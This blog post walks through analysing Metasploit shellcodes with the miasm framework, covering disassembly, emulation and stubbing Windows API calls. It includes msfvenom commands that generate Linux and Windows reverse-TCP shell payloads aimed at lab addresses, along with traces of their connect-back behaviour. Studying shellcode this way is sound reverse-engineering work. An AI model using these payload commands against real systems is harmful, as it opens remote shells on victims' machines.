Analyzing Shellcodes with Miasm for Fun and Profit
Shellcodes are an interesting piece of software because they have to run with unusual constraints. They are also small enough to be used to learn new tools. I have been wanting to learn to use miasm for a long time (since I saw the first presentation at SSTIC some years ago), I finally used a few nights of confinement to learn that, here is a short summary.
Linux shellcode#
Let’s start with a Linux shellcode as they are less complex than Windows shellcodes.
msfvenom -p linux/x86/exec CMD=/bin/ls -a x86 --platform linux -f raw > sc_linux1
Let’s disassemble the shellcode with miasm :
from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine
with open("sc_linux1", "rb") as f:
buf = f.read()
container = Container.from_string(buf)
machine = Machine('x86_32')
mdis = machine.dis_engine(container.bin_stream)
mdis.follow_call = True # Follow calls
mdis.dontdis_retcall = True # Don't disassemble after calls
disasm = mdis.dis_multiblock(offset=0)
print(disasm)
And we get the following code :
loc_key_0
PUSH 0xB
POP EAX
CDQ
PUSH EDX
PUSHW 0x632D
MOV EDI, ESP
PUSH 0x68732F
PUSH 0x6E69622F
MOV EBX, ESP
PUSH EDX
CALL loc_key_1
-> c_to:loc_key_1
loc_key_1
PUSH EDI
PUSH EBX
MOV ECX, ESP
INT 0x80
[SNIP]
Nothing really surprising here, INT 0x80 is calling the system and the syscall code is moved to EAX on the first line, 0xB being the code for execve
. We can easily get the address of the data after the CALL loc_key_1
by taking the data between the instruction address + size and the address of loc_key1
:
> inst = list(disasm.blocks)[0].lines[10] # Instruction 10 of block 0
> print(buf[inst.offset+inst.l:disasm.loc_db.offsets[1]])
b'/bin/ls\x00'
Let’s get a more complex shellcode :
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.2.2.14 LPORT=1234 -f raw > sc_linux2
This one has conditional jumps in the code, so it is easier to read it as a graph :
from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine
with open("sc_linux2", "rb") as f:
buf = f.read()
container = Container.from_string(buf)
machine = Machine('x86_32')
mdis = machine.dis_engine(container.bin_stream)
mdis.follow_call = True # Follow calls
mdis.dontdis_retcall = True # Don't disassemble after calls
disasm = mdis.dis_multiblock(offset=0)
open('bin_cfg.dot', 'w').write(disasm.dot())
This is a bit more work to understand statically, so let’s see if we can emulate it with miasm.
It is pretty easy to emulate instructions :
from miasm.analysis.machine import Machine
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open('sc_linux2', 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log()
myjit.run(run_addr)
Miasm emulates all the instructions until we reach the first int 0x80 call :
40000000 PUSH 0xA
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000002 zf 0 nf 0 of 0 cf 0
40000002 POP ESI
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 0000000A EDI 00000000 ESP 01240000 EBP 00000000 EIP 40000003 zf 0 nf 0 of 0 cf 0
[SNIP]
40000010 INT 0x80
EAX 00000066 EBX 00000001 ECX 0123FFF4 EDX 00000000 ESI 0000000A EDI 00000000 ESP 0123FFF4 EBP 00000000 EIP 40000012 zf 0 nf 0 of 0 cf 0
Traceback (most recent call last):
File "linux1.py", line 11, in <module>
myjit.run(run_addr)
File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 423, in run
return self.continue_run()
File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 405, in continue_run
return next(self.run_iterator)
File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 373, in runiter_once
assert(self.get_exception() == 0)
AssertionError
By default, the miasm machine does not execute system calls, but it is possible to add an exception handler for the exception EXCEPT_INT_XX
(EXCEPT_SYSCALL
for Linux x86_64) and implement it ourselves. Let’s just print the syscall numbers first :
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, EXCEPT_INT_XX
from miasm.analysis.machine import Machine
def exception_int(jitter):
print("Syscall: {}".format(jitter.cpu.EAX))
return True
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open('sc_linux2', 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.add_exception_handler(EXCEPT_INT_XX, exception_int)
myjit.run(run_addr)
Which gives us the syscalls :
Syscall: 102
Syscall: 102
I started to reimplement a few syscalls often used by shellcodes before realizing that miasm had already integrated several syscall implementations and a method to have them executed by the virtual machine. I have submitted a PR for a few extra syscalls, and then we can emulate the shellcode :
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open("sc_linux2", 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
log = logging.getLogger('syscalls')
log.setLevel(logging.DEBUG)
env = environment.LinuxEnvironment_x86_32()
syscall.enable_syscall_handling(myjit, env, syscall.syscall_callbacks_x86_32)
myjit.run(run_addr)
And we get the following syscall trace :
[DEBUG ]: socket(AF_INET, SOCK_STREAM, 0)
[DEBUG ]: -> 3
[DEBUG ]: connect(fd, [AF_INET, 1234, 10.2.2.14], 102)
[DEBUG ]: -> 0
[DEBUG ]: sys_mprotect(123f000, 1000, 7)
[DEBUG ]: -> 0
[DEBUG ]: sys_read(3, 123ffe4, 24)
So it is pretty easy to analyze linux shellcodes with miasm, you can use this script.
Windows#
Because it is not possible to use instructions for system calls on Windows, Windows shellcodes need to use functions from shared libraries, which requires to load them with LoadLibrary and GetProcAddress, which requires to first find these two function addresses in kernel32.dll DLL file in memory.
Let’s generate a first shellcode with metasploit :
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f raw > sc_windows1
We can generate a call graph with the exact same code used for Linux above:
Here we see one of the tricks used by most shellcodes to get their own address, CALL
is push stack the address of the next instruction to the stack, that is then stored in stored in EBP with POP
. The CALL EBP
at the last instruction, is thus calling the instruction just after the first call. And because only static analysis is used here, miasm cannot know which address is in EBP.
We can still manually disassemble the code after the first call:
inst = inst = list(disasm.blocks)[0].lines[1] # We get the second line of the first block
next_addr = inst.offset + inst.l # offset + size of the instruction
disasm = mdis.dis_multiblock(offset=next_addr)
open('bin_cfg.dot', 'w').write(disasm.dot())
Here we see that the shellcode is first looking for the address of kernel32 by following PEB
, PEB_LDR_DATA
and LDR_DATA_TABLE_ENTRY
structures in memory. Let’s emulate that :
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE
from miasm.analysis.machine import Machine
def code_sentinelle(jitter):
jitter.run = False
jitter.pc = 0
return True
myjit = Machine("x86_32").jitter("python")
myjit.init_stack()
data = open("sc_windows1", 'rb').read()
run_addr = 0x40000000
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, data)
myjit.set_trace_log()
myjit.push_uint32_t(0x1337beef)
myjit.add_breakpoint(0x1337beef, code_sentinelle)
myjit.run(run_addr)
40000000 CLD
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 00000000 EIP 40000001 zf 0 nf 0 of 0 cf 0
40000001 CALL loc_40000088
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 00000000 EIP 40000088 zf 0 nf 0 of 0 cf 0
40000088 POP EBP
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFFC EBP 40000006 EIP 40000089 zf 0 nf 0 of 0 cf 0
40000089 PUSH 0x3233
EAX 00000000 EBX 00000000 ECX 00000000 EDX 00000000 ESI 00000000 EDI 00000000 ESP 0123FFF8 EBP 40000006 EIP 4000008E zf 0 nf 0 of 0 cf 0
[SNIP]
4000000B MOV EDX, DWORD PTR FS:[EAX + 0x30]
WARNING: address 0x30 is not mapped in virtual memory:
Traceback (most recent call last):
[SNIP]
RuntimeError: Cannot find address
The emulation works until it reaches MOV EDX, DWORD PTR FS:[EAX + 0x30]
, this instructions get the TEB structure address from the FS segment in memory. But in that case, miasm is only emulating the code and has not loaded any system segment in memory. We need to use a full Windows Sandbox from miasm for that, but these VMs are only running PE files, so let’s first use a short script using lief to convert the shellcode to a full-figured PE file :
from lief import PE
with open("sc_windows1", "rb") as f:
data = f.read()
binary32 = PE.Binary("pe_from_scratch", PE.PE_TYPE.PE32)
section_text = PE.Section(".text")
section_text.content = [c for c in data] # Take a list(int)
section_text.virtual_address = 0x1000
section_text = binary32.add_section(section_text, PE.SECTION_TYPES.TEXT)
binary32.optional_header.addressof_entrypoint = section_text.virtual_address
builder = PE.Builder(binary32)
builder.build_imports(True)
builder.build()
builder.write("sc_windows1.exe")
Let’s now run this PE with a miasm Sandbox with the option use-windows-structs
to load Windows structures in memory (see the code here) :
from miasm.analysis.sandbox import Sandbox_Win_x86_32
class Options():
def __init__(self):
self.use_windows_structs = True
self.jitter = "gcc"
#self.singlestep = True
self.usesegm = True
self.load_hdr = True
self.loadbasedll = True
def __getattr__(self, name):
return None
options = Options()
# Create sandbox
sb = Sandbox_Win_x86_32("sc_windows1.exe", options, globals())
sb.run()
assert(sb.jitter.run is False)
The option loadbasedll
is loading DLL structures in memory based on existing dlls in a folder called win_dll
(you need Windows x86_32 DLLs). Upon execution, we get the following crash :
[SNIP]
[INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
Traceback (most recent call last):
File "windows4.py", line 18, in <module>
sb.run()
[SNIP]
File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib
raise ValueError('unknown api', hex(jitter.pc), repr(fname))
ValueError: ('unknown api', '0x71ab6a55', "'ws2_32_WSAStartup'")
If we look at the file jitload.py, it actually calls DLL functions implemented in win_api_x86_32.py, and we see that kernel32_LoadLibrary
is indeed implemented but not WSAStartup, so we need to implement it ourselves.
Miasm is actually using a very smart trick to ease the implementation of new libraries, the sandbox accept a parameter for additional functions that is by default called with globals()
. It means that we just have to define a function with the right name in our code, and it directly become available as a system function. Let’s try that with ws2_32_WSAStartup
:
def ws2_32_WSAStartup(jitter):
print("WSAStartup(wVersionRequired, lpWSAData)")
ret_ad, args = jitter.func_args_stdcall(["wVersionRequired", "lpWSAData"])
jitter.func_ret_stdcall(ret_ad, 0)
We now get :
INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
WSAStartup(wVersionRequired, lpWSAData)
Traceback (most recent call last):
[SNIP]
File "/home/user/tools/malware/miasm/miasm/jitter/jitload.py", line 479, in handle_lib
raise ValueError('unknown api', hex(jitter.pc), repr(fname))
ValueError: ('unknown api', '0x71ab8b6a', "'ws2_32_WSASocketA'")
We can continue that way and implement one by one the few functions called by the shellcode:
def ws2_32_WSASocketA(jitter):
"""
SOCKET WSAAPI WSASocketA(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
"""
ADDRESS_FAM = {2: "AF_INET", 23: "AF_INET6"}
TYPES = {1: "SOCK_STREAM", 2: "SOCK_DGRAM"}
PROTOCOLS = {0: "Whatever", 6: "TCP", 17: "UDP"}
ret_ad, args = jitter.func_args_stdcall(["af", "type", "protocol", "lpProtocolInfo", "g", "dwFlags"])
print("WSASocketA({}, {}, {}, ...)".format(
ADDRESS_FAM[args.af],
TYPES[args.type],
PROTOCOLS[args.protocol]
))
jitter.func_ret_stdcall(ret_ad, 14)
def ws2_32_connect(jitter):
ret_ad, args = jitter.func_args_stdcall(["s", "name", "namelen"])
sockaddr = jitter.vm.get_mem(args.name, args.namelen)
family = struct.unpack("H", sockaddr[0:2])[0]
if family == 2:
port = struct.unpack(">H", sockaddr[2:4])[0]
ip = ".".join([str(i) for i in struct.unpack("BBBB", sockaddr[4:8])])
print("socket_connect(fd, [{}, {}, {}], {})".format("AF_INET", port, ip, args.namelen))
else:
print("connect()")
jitter.func_ret_stdcall(ret_ad, 0)
def kernel32_CreateProcessA(jitter):
ret_ad, args = jitter.func_args_stdcall(["lpApplicationName", "lpCommandLine", "lpProcessAttributes", "lpThreadAttributes", "bInheritHandles", "dwCreationFlags", "lpEnvironment", "lpCurrentDirectory", "lpStartupInfo", "lpProcessInformation"])
jitter.func_ret_stdcall(ret_ad, 0)
def kernel32_ExitProcess(jitter):
ret_ad, args = jitter.func_args_stdcall(["uExitCode"])
jitter.func_ret_stdcall(ret_ad, 0)
jitter.run = False
And finally we get a full emulation of the shellcode :
[INFO ]: Add module 400000 'sc_windows1.exe'
[INFO ]: Add module 7c900000 'ntdll.dll'
[INFO ]: Add module 7c800000 'kernel32.dll'
[INFO ]: Add module 7e410000 'user32.dll'
[INFO ]: Add module 774e0000 'ole32.dll'
[INFO ]: Add module 7e1e0000 'urlmon.dll'
[INFO ]: Add module 71ab0000 'ws2_32.dll'
[INFO ]: Add module 77dd0000 'advapi32.dll'
[INFO ]: Add module 76bf0000 'psapi.dll'
[INFO ]: kernel32_LoadLibrary(dllname=0x13ffe8) ret addr: 0x40109b
[WARNING ]: warning adding .dll to modulename
[WARNING ]: ws2_32.dll
WSAStartup(wVersionRequired, lpWSAData)
[INFO ]: ws2_32_WSAStartup(wVersionRequired=0x190, lpWSAData=0x13fe58) ret addr: 0x4010ab
[INFO ]: ws2_32_WSASocketA(af=0x2, type=0x1, protocol=0x0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) ret addr: 0x4010ba
WSASocketA(AF_INET, SOCK_STREAM, Whatever, ...)
[INFO ]: ws2_32_connect(s=0xe, name=0x13fe4c, namelen=0x10) ret addr: 0x4010d4
socket_connect(fd, [AF_INET, 443, 192.168.56.1], 16)
[INFO ]: kernel32_CreateProcessA(lpApplicationName=0x0, lpCommandLine=0x13fe48, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0x1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x13fe04, lpProcessInformation=0x13fdf4) ret addr: 0x401117
[INFO ]: kernel32_WaitForSingleObject(handle=0x0, dwms=0xffffffff) ret addr: 0x401125
[INFO ]: kernel32_GetVersion() ret addr: 0x401131
[INFO ]: kernel32_ExitProcess(uExitCode=0x0) ret addr: 0x401144
So Long, and Thanks for All the Fish#
It was fun to learn miasm and I find it very powerful (I have not even explored the symbolic execution yet). It is not the only tool doing that (triton for instance is doing pretty much the same thing) but I found miasm well written and with a lot of features. The only drawback is the lack of documentation for now. If you want to start using miasm, you should have a look at the examples and the blog posts, they are good starting points. Willi Ballenthin has also written a few blog posts recently that I found interesting. And once you know the bits and pieces of it, join me to create a good documentation.
Stay home and take care !
This blog post was written while listening to Kiasmos.